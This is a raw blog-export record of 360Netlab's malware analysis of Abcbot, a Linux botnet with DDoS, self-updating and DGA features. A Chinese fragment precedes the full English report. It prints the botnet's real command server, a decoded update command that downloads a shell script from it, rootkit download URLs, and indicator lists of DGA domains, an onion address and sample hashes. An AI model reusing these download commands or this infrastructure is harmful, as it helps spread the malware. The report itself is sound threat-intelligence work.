src=\"__GHOST_URL__/content/images/2021/11/abcbot_kit.png\" width=\"860px\" />\n\n支持的指令如下所示：\n\n1. stop\n2. syn\n3. dns\n4. bigudp\n\n**我们不认为这种方式进行DDoS攻击有优越性**，ATK rootkit是以源码的方式存储在远程服务器上，\n```\nxl_x64scan1=\"http://103.209.103.16:26800/atk.tar.gz\"\nxl_x64scan2=\"http://103.209.103.16:26800/atk.tar.gz\"\n```\n这要求Abcbot想进行DDoS攻击前，必须进行下载源码，编译，加载rootkit模块，这个过程太长，任意一步有问题都会导致DDoS功能的失败。\n\n\n\n而在10月30日的样本(md5:ae8f8cf967ca15a7689f2d1f79fbc5dc)则做出了更新，放弃了ATK rootkit，转而自身实现了9种攻击方法。\n\n\n<img src=\"__GHOST_URL__/content/images/2021/11/abcbot_attack.png\" width=\"860px\" />\n\n\n\n\n# 总结\n在逆向分析的过程中，我们发现了Abcbot的许多怪异之处，诸如“重复上报本地设备信息，不注册DGA域名，TOR&Github资源服务器的不合理的剔除，Webserver功能没有真正启用”等，这给我们的一种感觉，Abcbot作者在试水各种技术。在这半年中的更新过程，与其说是功能的不断升级，不如说是对不同技术的取舍。通过整合不同技术，Abcbot慢慢从稚嫩走向成熟。我们不认为现阶段已是最终形态，现阶段明显存在许多可以改进的地方或待开发的功能。最终Abcbot是止步于此，还是走的更远，就让我们拭目以待吧。\n\n# 联系我们\n感兴趣的读者，可以在[twitter](https://twitter.com/360Netlab)或者在微信公众号 360Netlab上联系我们。\n\n\n# IOC\n## C2 & Resource Server\n### 10月DGA Domain\n```\n\ndgixyyfug.tk\ndgixyyfug.com\ndgixyyfug.pages.dev\nguyfixdyg.tk\nguyfixdyg.com\nguyfixdyg.pages.dev\ngfgiudyyx.tk\ngfgiudyyx.com\ngfgiudyyx.pages.dev\nxgudyfyig.tk\nxgudyfyig.com\nxgudyfyig.pages.dev\nyugxdigfy.tk\nyugxdigfy.com\nyugxdigfy.pages.dev\ngdgiyyfxu.tk\ngdgiyyfxu.com\ngdgiyyfxu.pages.dev\ngdiuyyfgx.tk\ngdiuyyfgx.com\ngdiuyyfgx.pages.dev\nfgiudxyyg.tk\nfgiudxyyg.com\nfgiudxyyg.pages.dev\nygfydgxui.tk\nygfydgxui.com\nygfydgxui.pages.dev\n```\n### 11月DGA Domain\n```\nenjuyzkpr.tk\nenjuyzkpr.com\nenjuyzkpr.pages.dev\nrpzkjueyn.tk\nrpzkjueyn.com\nrpzkjueyn.pages.dev\nnkrjpezyu.tk\nnkrjpezyu.com\nnkrjpezyu.pages.dev\nunpeykzjr.tk\nunpeykzjr.com\nunpeykzjr.pages.dev\nypnuejrkz.tk\nypnuejrkz.com\nypnuejrkz.pages.dev\nnerjyzkup.tk\nnerjyzkup.com\nnerjyzkup.pages.dev\nnejpzykru.tk\nnejpzykru.com\nnejpzykru.pages.dev\nknjpeuzyr.tk\nknjpeuzyr.com\nknjpeuzyr.pages.dev\nzrkyenupj.tk\nzrkyenupj.com\nzrkyenupj.pages.dev\n```\n### IP\n```\n103.209.103.16\tChina|Hong_Kong|Unknown\tAS63916|IPTELECOM_Global\n```\n\n### Tor\n```\nhttp://vgnaovx6prvmvoeabk5bxfummn3ltdur3h4ilnklvaox4lge2rp4nzqd.onion\n```\n## Sample MD5\n```\n0786c80bfcedb7da9c2d5edbe9ff662f\n0f2619811ceaf85baa72f9c8f876a59a\n1177c135f15951418219a97b3caad4e1\n1a720cc74ecf330b8f13412de4d5646b\n39d373434c947742168e07cc9010c992\n3f277c7b4c427f9ef02cf8df4dd7be44\n5d37a61451e5cfdeca272369ac032076\n6e66456ffb457c52950cf05a6aaabe4a\n6e66456ffb457c52950cf05a6aaabe4a\n89ffd4f612ce604457446ee2a218de67\n8f3558b29d594d33e69cea130f054717\na14d0188e2646d236173b230c59037c7\na17ea52318baa4e50e4b6d3a79fbd935\na4c7917787dc28429839c7d588956202\nae8f8cf967ca15a7689f2d1f79fbc5dc\nbaeb11c659b8e38ea3f01ad075e9df9a\nc27d1c81a3c45776e31cfb384787c674\nc64fbc7d3586d42583aa3a0dc3ea529f\ne535215fad2ef0885e03ba111bd36e24\ne95c9bae6e2b44c6f9b98e2dfd769675\n```\n\n## Downloader\n```\nhttp://103[.209.103.16:26800/atk.tar.gz\nhttp://103[.209.103.16:26800/dd.sh\nhttp://103[.209.103.16:26800/ff.sh\nhttp://103[.209.103.16:26800/linux64-shell\nhttp://103[.209.103.16:26800/xlinux\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 6183b1cd3819e50007635bcb |
post | null | 2021-11-04T10:38:29.000Z | 63873b9a8b1c1e0007f52fed | untitled-14 | 0 | 2021-11-04T10:40:13.000Z | public | draft | null | null | Domain Parking ,Google sites,Malware Payload | null | null | {"version":"0.3.1","atoms":[],"cards":[],"markups":[],"sections":[[1,"p",[]]],"ghostVersion":"3.0"} | 6183b8253819e50007635c19 |
post | null | 2021-11-09T07:30:04.000Z | 63873b9a8b1c1e0007f52fee | abcbot_an_evolving_botnet_en | 0 | 2021-11-09T13:59:59.000Z | public | published | null | 2021-11-09T14:00:00.000Z | Abcbot, an evolving botnet | <!--kg-card-begin: markdown--><h1 id="background">Background</h1>
<p>Business on the cloud and security on the cloud is one of the industry trends in recent years. 360Netlab is also continuing to focus on security incidents and trends on the cloud from its own expertise in the technology field. The following is a recent security incident we observed, where the infected device IP came from multiple cloud provider platforms.</p>
<p>On July 14, 2021, our BotMon system identified an unknown ELF file (a14d0188e2646d236173b230c59037c7) generating a lot of scanning traffic, after analysis, we determined that this is a Go language implementation of Scanner, based on its source path "abc-hello" string, we named it <code>Abcbot</code> internally.</p>
<p>At the beginning, Abcbot was relatively simple, and could be seen as a scanner for attacking Linux systems, with a weak password & Nday vulnerability for worm-like propagation. One interesting thing is that Abcbot's source path has the "dga.go" string, but <code>no related DGA implementation was found</code>. We assumed that its authors would add this feature in subsequent versions, other than that, we did not paid too much attention to it.</p>
<p>As time passed, Abcbot has continued to evolve, and <code>as we expected, it added the DGA feature in subsequent samples</code>. Today Abcbot has the ability to <strong>self-updating, setting up Webserver, laughing DDoS, as well as worm like propagation</strong>.</p>
<p>On October 8, 2021, Trend Micro released <a href="https://www.trendmicro.com/en_us/research/21/j/actors-target-huawei-cloud-using-upgraded-linux-malware-.html"><strong>an analysis of this family</strong></a>, which focused on the pre-SHELL scripts that spread Abcbot, but skimmed over the features of Abcbot itself.</p>
<p>Given that Abcbot is under continuous development, its features are constantly being updated, we decided to write this article to share our findings with the community.</p>
<h1 id="timeline">Timeline</h1>
<ul>
<li>
<p>On July 14, 2021, abcbot was first captured with the main functionality of Scanner,WebServer.</p>
</li>
<li>
<p>July 22, 2021, abcbot updated to include dga-related code in the self-updating function.</p>
</li>
<li>
<p>October 10, 2021, abcbot performed minor update.</p>
</li>
<li>
<p>October 12, 2021, another update, with some major code structure changes.</p>
</li>
<li>
<p>October 21, 2021, another update, adding the open source ATK rootkit to support DDoS functionality.</p>
</li>
<li>
<p>October 30, 2021, another update, abandoned ATK rootkit, to their own implementation of DDoS functionality.</p>
</li>
</ul>
<h1 id="abcbotoverview">Abcbot Overview</h1>
<p>We use the latest October 30, 2021 sample as a blueprint, this version targets mainly on common databases and WEB servers, it uses weak password & Nday vulnerability to achieve worm-like propagation, the main focus is for DDoS.</p>
<p>It currently supports the following nine attack methods.</p>
<ul>
<li>tls Attack</li>
<li>tcp Attack</li>
<li>udp Attack</li>
<li>ace Attack</li>
<li>hulk Attack</li>
<li>httpGet Attack</li>
<li>goldenEye Attack</li>
<li>slowloris Attack</li>
<li>bandwidthDrain Attack</li>
</ul>
<p>Its basic flow chart is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_brief.png" width="860px" />
<h1 id="sampleanalysis">Sample Analysis</h1>
<p>We captured a total of 6 different versions of abcbot samples, and the sample of October 30 was selected as the main object of analysis in this paper, and its basic information is shown as follows.</p>
<pre><code>MD5:ae8f8cf967ca15a7689f2d1f79fbc5dc
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Packer:upx
Date:2021-10-30
</code></pre>
<p>Abcbot uses a standard UPX shell. When it runs in the compromised device, Abcbot confuses the user by copying itself into the following files, then starting the dockerlogger, iptablesupdate processes.</p>
<pre><code>/bin/dockerlogger
/usr/bin/dockerlogger
/etc/iptablesupdate
</code></pre>
<p>The <code>iptablesupdate</code> process is responsible for scanning for new infected devices, reporting the device information to C2, and waiting for the execution of DDoS commands issued by C2.</p>
<p>The <code>dockerlogger</code> process is responsible for turning the infected device into a webserver, reporting the device information to C2, and waiting for the execution of the Updata command issued by the update server, let’s take a closer look.</p>
<h2 id="0x01uploadingdeviceinformationtoc2">0x01: Uploading device information to C2</h2>
<p>The current Abcbot samples are hard-coded with a encrypted C2 string ("GEVQYYdjQdquLemMLYlkLLXLQmq7NmL7NYXu"), which is encoded using Base64 & XOR encryption.</p>
<p>The Base64 decoding operation is shown below, and it can be seen that Abcbot changes the Alphabet value, which it uses as <code>LMNu67PQX21pqrR3YZaDEFGbcVIJjkKWdefstghiBACHlSTUmO5noxyz04vw89+/</code></p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_base.png" width="860px" />
<p>By dissociating the Base64 decoded result with <code>0x31 0x32 0x33</code>, the following final result can be obtained</p>
<pre><code>http://103.209.103.16:26800
</code></pre>
<p>After decrypting C2, both <code>iptablesupdate</code> and <code>dockerlogger</code> processes report device information to C2 via the path "/api/postip", and the format of the device information is <code>OS:%v\x09CPU:%v\x09HX:%vh\x09os-name:%v\x09lanip:%v</code>.</p>
<p>Note both processes collect the same device information and call the abc_hello_util_Os_pz function. The only difference is shown in the figure below, which shows that the dockerlogger process appends "\td0.02" to the reported information, while iptablesupdate appends "\ ti0.02", where the "d" and "i" characters imply the process reporting the traffic, and "0.02" is similar to the version (in the October 21 sample, the version is "0.01").</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_twodiff.png" width="860px" />
<p>The actual traffic generated is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_reg.png" width="860px" />
<h2 id="0x02scanandpropagation">0x02: Scan and propagation</h2>
<p>The "abc_hello_plugin_StartScan" function is responsible for infecting new devices. Its logic is to generate random IPs, detect whether the ports on the IPs that can be attacked are open, and then attack the services by either going through the corresponding weak password list or using the Nday vulnerabilities.</p>
<p>The following code snippet shows that Abcbot tries to attack Weblogic.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_logic.png" width="860px" />
<p>In the Abcbot sample, you can clearly see the functions used in the attack on the relevant network services.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_serv.png" width="860px" />
<p>The weak passwords and vulnerabilities used by Abcbot are the following</p>
<ul>
<li>SSH weak password</li>
<li>FTP weak password</li>
<li>PostgreSQL weak password</li>
<li>Redis weak password</li>
<li>Mssql weak password</li>
<li>Mongo weak password</li>
<li>WebLogic Vulnerability (CVE-2020-14882)</li>
</ul>
<h2 id="0x03webserver">0x03: WebServer</h2>
<p>Abcbot uses the "abc_hello_web_StartServer" function to start a WebServer on the infected device, listening on port 26800, and the supported methods and paths are shown in the following table.</p>
<table>
<thead>
<tr>
<th>Method</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>/api/postip</td>
</tr>
<tr>
<td>POST</td>
<td>/api/configlist</td>
</tr>
<tr>
<td>POST</td>
<td>/api/getlist</td>
</tr>
<tr>
<td>POST</td>
<td>/api/check</td>
</tr>
</tbody>
</table>
<p>The actual effect is shown in the following figure.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_web.png" width="860px" />
<p>At present, the path that really being called is "/api/check", which is used to determine whether the device has already been infected by requesting the target ip:26800/api/check during the scanning and propagation process.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_check.png" width="860px" />
<p>The other paths are only used to maintain connectivity and have no real use.When they are accessed, some logs files will be generated in the path "/tmp.abchello".</p>
<p>In fact, using "curl-X POST" cmd to test C2, you can find that the above 4 paths also exist on C2. The author of Abcbot seems to want to break the current C/S network model and bring the role of Bot in the network closer to Server. Therefore, we speculate that the network structure of Acbbot may shift to P2P.</p>
<h2 id="0x04selfupdating">0x04: Self-updating</h2>
<p>On July 22, Abcbot introduced the "abc_hello_util_Updata" function to handle self-updates. Its logic is to request the "2.txt" resource from the remote server. The "2.txt" consists of two parts, which are in the format of <code>"Resource(hex format)|digital signature(hex format)"</code>. When Bot successfully pulls the 2.txt, it will verify the digital signature by the following code snippet.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_verify.png" width="860px" />
<p>The hard-coded public key in the sample is</p>
<pre><code>-----BEGIN RSA PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL3zj6XQt7gYe+L6oI/IUvlJNZVsg/JX\x0AC7TCnl9p1JfBJFdx+W9FTFnO2Fr8/hAUtf1NpP/WG2fgeG4Nvdcuyq0CAwEAAQ==
-----END RSA PUBLIC KEY-----
</code></pre>
<p>After the verification is successful, the Resource is further decomposed, and the format of the Resource is <code>"cmd|downloader url| crc32|cmd2"</code>.</p>
<p>When the cmd is "alldown2", the downloader url is requested and the crc32 hash value of the file is verified. The downloaded file completes the process of self-updating.</p>
<p>The actual 2.txt obtained is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_updata.png" width="860px" />
<p>The Resource part is decoded in HEX format which represents update command.</p>
<pre><code>alldown2|http://103.209.103.16:26800/ff.sh|611043B5|posterrorurl
</code></pre>
<p>There are 3 sources for the remote server domain name in this process as follows.</p>
<ol>
<li>
<p>Hard-coded TOR domain name (decryption method is the same as C2)</p>
</li>
<li>
<p>DGA algorithm generates prefix strings, which are spliced with 3 suffixes (.com, .tk, .pages.dev) to form the domain name</p>
</li>
<li>
<p>DGA algorithm generates the string as a github account, and then gets the upgrade resources from this github account</p>
</li>
</ol>
<p>The code snippet below is the process of Abcbot requesting 2.txt resources from DGA generated domain name and GITHUB repository.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_dga.png" width="860px" />
<p>The domain names used for the samples at each time point are shown below.</p>
<table>
<thead>
<tr>
<th>Date</th>
<th>MD5</th>
<th>Res Tor Domain</th>
<th>DGA Domain</th>
<th>DGA Github</th>
</tr>
</thead>
<tbody>
<tr>
<td>07-14</td>
<td>a14d0188e2646d236173b230c59037c7</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>07-22</td>
<td>e535215fad2ef0885e03ba111bd36e24</td>
<td>1</td>
<td>3/month</td>
<td>1/month</td>
</tr>
<tr>
<td>10-10</td>
<td>6e66456ffb457c52950cf05a6aaabe4a</td>
<td>1</td>
<td>3/month</td>
<td>0</td>
</tr>
<tr>
<td>10-12</td>
<td>39d373434c947742168e07cc9010c992</td>
<td>1</td>
<td>3/month</td>
<td>0</td>
</tr>
<tr>
<td>10-21</td>
<td>e95c9bae6e2b44c6f9b98e2dfd769675</td>
<td>0</td>
<td>27/month</td>
<td>0</td>
</tr>
<tr>
<td>10-30</td>
<td>ae8f8cf967ca15a7689f2d1f79fbc5dc</td>
<td>0</td>
<td>27/month</td>
<td>0</td>
</tr>
</tbody>
</table>
<p>Part of DGA-generated domain names for Abcbot in October are shown below.</p>
<pre><code>dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev
</code></pre>
<p>When Abcbot started to use DGA to generate domain names for updating servers, we grabbed some of them at the first opportunity, which allowed us to measure its size. From the current statistics Abcbot is not very large, with a total of 261 IPs.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_scale.png" width="860px" />
<p>The current distribution of infected hosts by service providers is shown below.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_static.png" width="860px" />
<h2 id="0x05ddos">0x05: DDoS</h2>
<p>On October 21, Abcbot introduced the "main_TimeDDos" function to support DDoS attacks, its logic is to request DDoS instructions from C2 via the path "/api/getlist", the instructions consist of 2 parts, <code>"DDoS instruction (hex format) | instruction digital signature (hex format)"</code>. When Bot receives the instruction, it reuses the digital signature in the self-renewal subsection above for verification, and can only execute it after the verification is successful.</p>
<p>The actual traffic generated is shown below, the "73746f70" string before the "|" character is the "stop" instruction.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_ddos.png" width="860px" />
<p>Interesting thing is that the sample on October 21 (md5:e95c9bae6e2b44c6f9b98e2dfd769675) uses the open source <a href="https://github.com/millken/kdev/tree/master/4atk%201.05new">ATK Rootkit</a> to implement the DDoS function.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_rootkit-1.png" width="860px" />
<p>Abcbot modified the main function in the ATK source code file <code>share_atk_svr.c</code>, and implemented a UDP server by monitoring SERV_PORT on 127.0.0.1 through the following code. SERV_PORT has 4, respectively 88,89,90,91.</p>
<pre><code>sockfd = socket(AF_INET, SOCK_DGRAM, 0);
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
// servaddr.sin_addr.s_addr = htonl(INADDR_ANY); // 0.0.0.0
servaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
servaddr.sin_port = htons(SERV_PORT);
</code></pre>
<p>When Abcbot receives the command sent by C2, it forwards the command to the UDP server, and the ATK rootkit performs the DDoS attack. The code snippet shown below is exactly the DDoS command"BigUdp" forwarded to the rootkit.</p>
<p>The supported commands are shown below.</p>
<ul>
<li>stop</li>
<li>syn</li>
<li>dns</li>
<li>bigudp</li>
</ul>
<p><strong>We do not consider this approach to DDoS attacks a good one</strong>, as ATK rootkit is stored in the form of source code on a remote server,</p>
<pre><code>xl_x64scan1="http://103.209.103.16:26800/atk.tar.gz"
xl_x64scan2="http://103.209.103.16:26800/atk.tar.gz"
</code></pre>
<p>thus requires Abcbot to download the source code, compile, and load the rootkit module before performing DDoS attack, this process requires too many steps, and any step that is faulty will result in the failure of the DDoS function.</p>
<p>Apparently the author had same thoughts, and in the October 30 sample (md5:ae8f8cf967ca15a7689f2d1f79fbc5dc) an update abandoned the ATK rootkit and implemented its own attack module, with nine attack methods being supported.</p>
<img src="__GHOST_URL__/content/images/2021/11/abcbot_attack.png" width="860px" />
<h1 id="summary">Summary</h1>
<p>In the process of reverse analysis, we found many oddities in Abcbot, such as "repeatedly reporting local device information, not registering DGA domain names, unreasonable exclusion of TOR & Github resource servers, and webserver functionality not really enabled", which gives us a feeling that Abcbot authors are testing various technologies. The update process in these six months is not so much a continuous upgrade of features as a trade-off between different technologies. Abcbot is slowly moving from infancy to maturity. We do not consider this stage to be the final form, there are obviously many areas of improvement or features to be developed at this stage. Let's wait and see what happens.</p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a> or email us to netlab at 360 dot cn.</p>
<h1 id="ioc">IOC</h1>
<h2 id="c2resourceserver">C2 & Resource Server</h2>
<h3 id="dgadomainoctober">DGA Domain(October)</h3>
<pre><code>
dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev
gfgiudyyx.tk
gfgiudyyx.com
gfgiudyyx.pages.dev
xgudyfyig.tk
xgudyfyig.com
xgudyfyig.pages.dev
yugxdigfy.tk
yugxdigfy.com
yugxdigfy.pages.dev
gdgiyyfxu.tk
gdgiyyfxu.com
gdgiyyfxu.pages.dev
gdiuyyfgx.tk
gdiuyyfgx.com
gdiuyyfgx.pages.dev
fgiudxyyg.tk
fgiudxyyg.com
fgiudxyyg.pages.dev
ygfydgxui.tk
ygfydgxui.com
ygfydgxui.pages.dev
</code></pre>
<h3 id="dgadomainnovember">DGA Domain(November)</h3>
<pre><code>enjuyzkpr.tk
enjuyzkpr.com
enjuyzkpr.pages.dev
rpzkjueyn.tk
rpzkjueyn.com
rpzkjueyn.pages.dev
nkrjpezyu.tk
nkrjpezyu.com
nkrjpezyu.pages.dev
unpeykzjr.tk
unpeykzjr.com
unpeykzjr.pages.dev
ypnuejrkz.tk
ypnuejrkz.com
ypnuejrkz.pages.dev
nerjyzkup.tk
nerjyzkup.com
nerjyzkup.pages.dev
nejpzykru.tk
nejpzykru.com
nejpzykru.pages.dev
knjpeuzyr.tk
knjpeuzyr.com
knjpeuzyr.pages.dev
zrkyenupj.tk
zrkyenupj.com
zrkyenupj.pages.dev
</code></pre>
<h3 id="ip">IP</h3>
<pre><code>103.209.103.16 China|Hong_Kong|Unknown AS63916|IPTELECOM_Global
</code></pre>
<h3 id="tor">Tor</h3>
<pre><code>http://vgnaovx6prvmvoeabk5bxfummn3ltdur3h4ilnklvaox4lge2rp4nzqd.onion
</code></pre>
<h2 id="samplemd5">Sample MD5</h2>
<pre><code>0786c80bfcedb7da9c2d5edbe9ff662f
0f2619811ceaf85baa72f9c8f876a59a
1177c135f15951418219a97b3caad4e1
1a720cc74ecf330b8f13412de4d5646b
39d373434c947742168e07cc9010c992
3f277c7b4c427f9ef02cf8df4dd7be44
5d37a61451e5cfdeca272369ac032076
6e66456ffb457c52950cf05a6aaabe4a
6e66456ffb457c52950cf05a6aaabe4a
89ffd4f612ce604457446ee2a218de67
8f3558b29d594d33e69cea130f054717
a14d0188e2646d236173b230c59037c7
a17ea52318baa4e50e4b6d3a79fbd935
a4c7917787dc28429839c7d588956202
ae8f8cf967ca15a7689f2d1f79fbc5dc
baeb11c659b8e38ea3f01ad075e9df9a
c27d1c81a3c45776e31cfb384787c674
c64fbc7d3586d42583aa3a0dc3ea529f
e535215fad2ef0885e03ba111bd36e24
e95c9bae6e2b44c6f9b98e2dfd769675
</code></pre>
<h2 id="downloader">Downloader</h2>
<pre><code>http://103[.209.103.16:26800/atk.tar.gz
http://103[.209.103.16:26800/dd.sh
http://103[.209.103.16:26800/ff.sh
http://103[.209.103.16:26800/linux64-shell
http://103[.209.103.16:26800/xlinux
</code></pre>
<!--kg-card-end: markdown--> | Background
Business on the cloud and security on the cloud is one of the industry trends in recent years. 360Netlab is also continuing to focus on security incidents and trends on the cloud from its own expertise in the technology field. The following is a recent security incident we observed, where the infected device IP came from multiple cloud provider platforms.
On July 14, 2021, our BotMon system identified an unknown ELF file (a14d0188e2646d236173b230c59037c7) generating a lot of scanning traffic, after analysis, we determined that this is a Go language implementation of Scanner, based on its source path "abc-hello" string, we named it Abcbot internally.
At the beginning, Abcbot was relatively simple, and could be seen as a scanner for attacking Linux systems, with a weak password & Nday vulnerability for worm-like propagation. One interesting thing is that Abcbot's source path has the "dga.go" string, but no related DGA implementation was found. We assumed that its authors would add this feature in subsequent versions, other than that, we did not paid too much attention to it.
As time passed, Abcbot has continued to evolve, and as we expected, it added the DGA feature in subsequent samples. Today Abcbot has the ability to self-updating, setting up Webserver, laughing DDoS, as well as worm like propagation.
On October 8, 2021, Trend Micro released an analysis of this family, which focused on the pre-SHELL scripts that spread Abcbot, but skimmed over the features of Abcbot itself.
Given that Abcbot is under continuous development, its features are constantly being updated, we decided to write this article to share our findings with the community.
Timeline
*
On July 14, 2021, abcbot was first captured with the main functionality of Scanner,WebServer.
*
July 22, 2021, abcbot updated to include dga-related code in the self-updating function.
*
October 10, 2021, abcbot performed minor update.
*
October 12, 2021, another update, with some major code structure changes.
*
October 21, 2021, another update, adding the open source ATK rootkit to support DDoS functionality.
*
October 30, 2021, another update, abandoned ATK rootkit, to their own implementation of DDoS functionality.
Abcbot Overview
We use the latest October 30, 2021 sample as a blueprint, this version targets mainly on common databases and WEB servers, it uses weak password & Nday vulnerability to achieve worm-like propagation, the main focus is for DDoS.
It currently supports the following nine attack methods.
* tls Attack
* tcp Attack
* udp Attack
* ace Attack
* hulk Attack
* httpGet Attack
* goldenEye Attack
* slowloris Attack
* bandwidthDrain Attack
Its basic flow chart is shown below.
Sample Analysis
We captured a total of 6 different versions of abcbot samples, and the sample of October 30 was selected as the main object of analysis in this paper, and its basic information is shown as follows.
MD5:ae8f8cf967ca15a7689f2d1f79fbc5dc
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Packer:upx
Date:2021-10-30
Abcbot uses a standard UPX shell. When it runs in the compromised device, Abcbot confuses the user by copying itself into the following files, then starting the dockerlogger, iptablesupdate processes.
/bin/dockerlogger
/usr/bin/dockerlogger
/etc/iptablesupdate
The iptablesupdate process is responsible for scanning for new infected devices, reporting the device information to C2, and waiting for the execution of DDoS commands issued by C2.
The dockerlogger process is responsible for turning the infected device into a webserver, reporting the device information to C2, and waiting for the execution of the Updata command issued by the update server, let’s take a closer look.
0x01: Uploading device information to C2
The current Abcbot samples are hard-coded with a encrypted C2 string ("GEVQYYdjQdquLemMLYlkLLXLQmq7NmL7NYXu"), which is encoded using Base64 & XOR encryption.
The Base64 decoding operation is shown below, and it can be seen that Abcbot changes the Alphabet value, which it uses as LMNu67PQX21pqrR3YZaDEFGbcVIJjkKWdefstghiBACHlSTUmO5noxyz04vw89+/
By dissociating the Base64 decoded result with 0x31 0x32 0x33, the following final result can be obtained
http://103.209.103.16:26800
After decrypting C2, both iptablesupdate and dockerlogger processes report device information to C2 via the path "/api/postip", and the format of the device information is OS:%v\x09CPU:%v\x09HX:%vh\x09os-name:%v\x09lanip:%v.
Note both processes collect the same device information and call the abc_hello_util_Os_pz function. The only difference is shown in the figure below, which shows that the dockerlogger process appends "\td0.02" to the reported information, while iptablesupdate appends "\ ti0.02", where the "d" and "i" characters imply the process reporting the traffic, and "0.02" is similar to the version (in the October 21 sample, the version is "0.01").
The actual traffic generated is shown below.
0x02: Scan and propagation
The "abc_hello_plugin_StartScan" function is responsible for infecting new devices. Its logic is to generate random IPs, detect whether the ports on the IPs that can be attacked are open, and then attack the services by either going through the corresponding weak password list or using the Nday vulnerabilities.
The following code snippet shows that Abcbot tries to attack Weblogic.
In the Abcbot sample, you can clearly see the functions used in the attack on the relevant network services.
The weak passwords and vulnerabilities used by Abcbot are the following
* SSH weak password
* FTP weak password
* PostgreSQL weak password
* Redis weak password
* Mssql weak password
* Mongo weak password
* WebLogic Vulnerability (CVE-2020-14882)
0x03: WebServer
Abcbot uses the "abc_hello_web_StartServer" function to start a WebServer on the infected device, listening on port 26800, and the supported methods and paths are shown in the following table.
Method
Path
POST
/api/postip
POST
/api/configlist
POST
/api/getlist
POST
/api/check
The actual effect is shown in the following figure.
At present, the path that really being called is "/api/check", which is used to determine whether the device has already been infected by requesting the target ip:26800/api/check during the scanning and propagation process.
The other paths are only used to maintain connectivity and have no real use.When they are accessed, some logs files will be generated in the path "/tmp.abchello".
In fact, using "curl-X POST" cmd to test C2, you can find that the above 4 paths also exist on C2. The author of Abcbot seems to want to break the current C/S network model and bring the role of Bot in the network closer to Server. Therefore, we speculate that the network structure of Acbbot may shift to P2P.
0x04: Self-updating
On July 22, Abcbot introduced the "abc_hello_util_Updata" function to handle self-updates. Its logic is to request the "2.txt" resource from the remote server. The "2.txt" consists of two parts, which are in the format of "Resource(hex format)|digital signature(hex format)". When Bot successfully pulls the 2.txt, it will verify the digital signature by the following code snippet.
The hard-coded public key in the sample is
-----BEGIN RSA PUBLIC KEY-----
MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAL3zj6XQt7gYe+L6oI/IUvlJNZVsg/JX\x0AC7TCnl9p1JfBJFdx+W9FTFnO2Fr8/hAUtf1NpP/WG2fgeG4Nvdcuyq0CAwEAAQ==
-----END RSA PUBLIC KEY-----
After the verification is successful, the Resource is further decomposed, and the format of the Resource is "cmd|downloader url| crc32|cmd2".
When the cmd is "alldown2", the downloader url is requested and the crc32 hash value of the file is verified. The downloaded file completes the process of self-updating.
The actual 2.txt obtained is shown below.
The Resource part is decoded in HEX format which represents update command.
alldown2|http://103.209.103.16:26800/ff.sh|611043B5|posterrorurl
There are 3 sources for the remote server domain name in this process as follows.
1.
Hard-coded TOR domain name (decryption method is the same as C2)
2.
DGA algorithm generates prefix strings, which are spliced with 3 suffixes (.com, .tk, .pages.dev) to form the domain name
3.
DGA algorithm generates the string as a github account, and then gets the upgrade resources from this github account
The code snippet below is the process of Abcbot requesting 2.txt resources from DGA generated domain name and GITHUB repository.
The domain names used for the samples at each time point are shown below.
Date
MD5
Res Tor Domain
DGA Domain
DGA Github
07-14
a14d0188e2646d236173b230c59037c7
0
0
0
07-22
e535215fad2ef0885e03ba111bd36e24
1
3/month
1/month
10-10
6e66456ffb457c52950cf05a6aaabe4a
1
3/month
0
10-12
39d373434c947742168e07cc9010c992
1
3/month
0
10-21
e95c9bae6e2b44c6f9b98e2dfd769675
0
27/month
0
10-30
ae8f8cf967ca15a7689f2d1f79fbc5dc
0
27/month
0
Part of DGA-generated domain names for Abcbot in October are shown below.
dgixyyfug.tk
dgixyyfug.com
dgixyyfug.pages.dev
guyfixdyg.tk
guyfixdyg.com
guyfixdyg.pages.dev
When Abcbot started to use DGA to generate domain names for updating servers, we grabbed some of them at the first opportunity, which allowed us to measure its size. From the current statistics Abcbot is not very large, with a total of 261 IPs.
The current distribution of infected hosts by service providers is shown below.
0x05: DDoS
On October 21, Abcbot introduced the "main_TimeDDos" function to support DDoS attacks, its logic is to request DDoS instructions from C2 via the path "/api/getlist", the instructions consist of 2 parts, "DDoS instruction (hex format) | instruction digital signature (hex format)". When Bot receives the instruction, it reuses the digital signature in the self-renewal subsection above for verification, and can only execute it after the verification is successful.
The actual traffic generated is shown below, the "73746f70" string before the "|" character is the "stop" instruction.
Interesting thing is that the sample on October 21 (md5:e95c9bae6e2b44c6f9b98e2dfd769675) uses the open source ATK Rootkit to implement the DDoS function.
Abcbot modified the main function in the ATK source code file share_atk_svr.c, and implemented a UDP server by monitoring SERV_PORT on 127.0.0.1 through the following code. SERV_PORT has 4, respectively 88,89,90,91.
